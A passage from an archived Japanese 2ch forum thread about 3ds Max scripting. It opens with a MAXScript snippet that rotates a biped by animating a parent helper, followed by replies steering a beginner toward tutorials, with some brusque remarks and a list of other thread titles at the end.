local bipPos = bipRoot.controller.vertical.value.translationpart
--↑か↓、どっちでもいけるっぽい。
--local bipPos = bipRoot.controller.horizontal.value.translationpart
local pH = point pos:bipPos
bipRoot.parent = pH
pH.rotation.controller = Euler_XYZ()
animationRange = interval 0 36
with animate on
for i = 1 to 4 do
at time (9 * i) pH.rotation.z_rotation += 90
pH.rotation.z_rotation.controller.keys[1].outTangentType = #linear --スムースに回転して欲しいので
pH.rotation.z_rotation.controller.keys[5].inTangentType = #linear
)
exit
)
最初に見つかったbipedオブジェクトの親にヘルパーを指定して
ヘルパーに対して回転アニメーション付けてます。
bipedの位置取得とかちょっと自信無さげですが、一応動いてるのでこれでいいのかも。
肝であるbipedの取得と位置の特定さえ出来れば、あとはターゲットカメラ作って
それをアニメーションさせてもいいし、なんなりと応用利かせてやってください。

79 :04/12/13
訂正
bipedオブジェクトの親にヘルパーを指定

bipedオブジェクトのルート(COM)の親にヘルパーを指定

80 :04/12/13


81 :04/12/13
それを69のスクリプトと組み合わせるとどうなるわけ?

82 :04/12/13
どうなるの?>>69

83 :04/12/13
69には、理解できないと思う。

84 :04/12/13
>>40タン乙

85 :04/12/13


86 :04/12/14
>>40
パレットの件、情報ありがとうございます。
7を待ちます。っつうか、こんなことやっとできるようになったMAXって...。

87 :04/12/14
>>40
がんがって説明しても理解できてないとおもうよ。
つうか、その程度のUIすら自分で組めないならもうだめぽ。。
単純にここは自分で欲しい機能を誰かが作ってくれることを願う、しょっぱいスレだからなw

88 :04/12/14
>>87
初歩的だから答えてんの!!
難しい質問きたら俺は逃げるから。

89 :04/12/14
初歩的なんですか?

90 :04/12/14
>>89
言葉の綾です。
別に線引きをするつもりはないですよ。

91 :04/12/15
いろいろ辞書を調べて、試行錯誤してみましたが、
僕の今の知識では、40さんの回答頂いた内容をスクリプトに反映させることが
できなさそうです。もうすこしヒントを頂けないでしょうか?

92 :04/12/15
>>91
(´・ω・`)
具体的にどの辺がどういう風に分からない?
出すもん出さないと答えは返ってこないよ。

93 :04/12/15
>>91
辞書で調べても無意味。リファレンスみれ。
というか、初心者は最低でもさとうさんのスクリプト講座全部に目を通せよ。
どんなに>>40が解答しようが、その解答すらりかいできてないんだもの。
野球のルールを知らずに野球がうまくなりたいってれべる。
あれが理解(義務教育レベルで十分対応できる範囲)できないやつはScriptやらんほうがいい。

94 :04/12/16
sa

95 :04/12/16
さとうさんのスクリプト講座ってどこにあるんですか?
URL貼ってくれませんか?

96 :04/12/17
>>95
HALLUCINOフォーラムの「スクリプト講座をchmに」っていうスレッドにchm版がアップされてます。
ダウンロードには登録が必要ですのでURLは貼りません。

97 :04/12/18
極論をいえば、ひとつひとつの意味は、なんとなく理解しているのかも
しれんが、アップしたスクリプトとのかかわりかた具合が、わからんのじゃない?

98 :04/12/20
max5以降はリファレンスにチュートリアルもあるんで、それやれば理解が進む。
正直、scriptは自分で勉強する意思がないやつはやる必要なし。

99 :04/12/21
ipo

100read 1read
1read 100read
TOP カテ一覧 スレ一覧 2ch元 削除依頼
天空人ルーシアの画像を描いてほしいのですが (512)
CGは低学歴のでも出来る職業ですよね (384)
漫画・コミック・ゲーム 2DCG業界の人たち (269)
自主制作アニメを作ろう15作目 (214)
Paintgraphic (241)
アーロンチェア倶楽部 (173)
--log9.info------------------
欠陥ソフト★+Lhaca★を改善させるスレ (396)
ffmpegならこちらへ (291)
【HDD Regenerator】セクタ修復ソフト 3【HDAT2】 (378)
ACDSeeとACDSystems製ソフトを語るスレ9 (155)
VMwareESX/ESXi専用スレPart8 (694)
【2ch】おすすめのNGワード【ブラウザ】2 (813)
Adobe Reader SpeedUp (837)
The KMPlayer Part8 (935)
OmegaChartスレ ver.6 (332)
web上から2chを見られるビューアweb2ch.org (223)
SMPlayer Part4 (973)
LhaForge Part2 (397)
FenrirFS Part2 (793)
Datula Part 3 (592)
【COREL】 WinDVD その13 【InterVideo】 (743)
foobar2000質問スレ Part22 (342)
--log55.com------------------
トランスフォーマースレッド PART380
仮面ライダーゼロワン プログライズキー2個目
S.H.フィギュアーツ 仮面ライダー専用スレ Vol.218
CMC キン肉マン☆82体目 CCP
ZOIDSワイルド・アンチスレ Part5
ZOIDS ゾイドワイルドバトルカードハンターStage2
【ZERO】ZOIDSワイルド総合【2】part28
【iQOS】懸賞・パックコードスレ 【乞食】Part26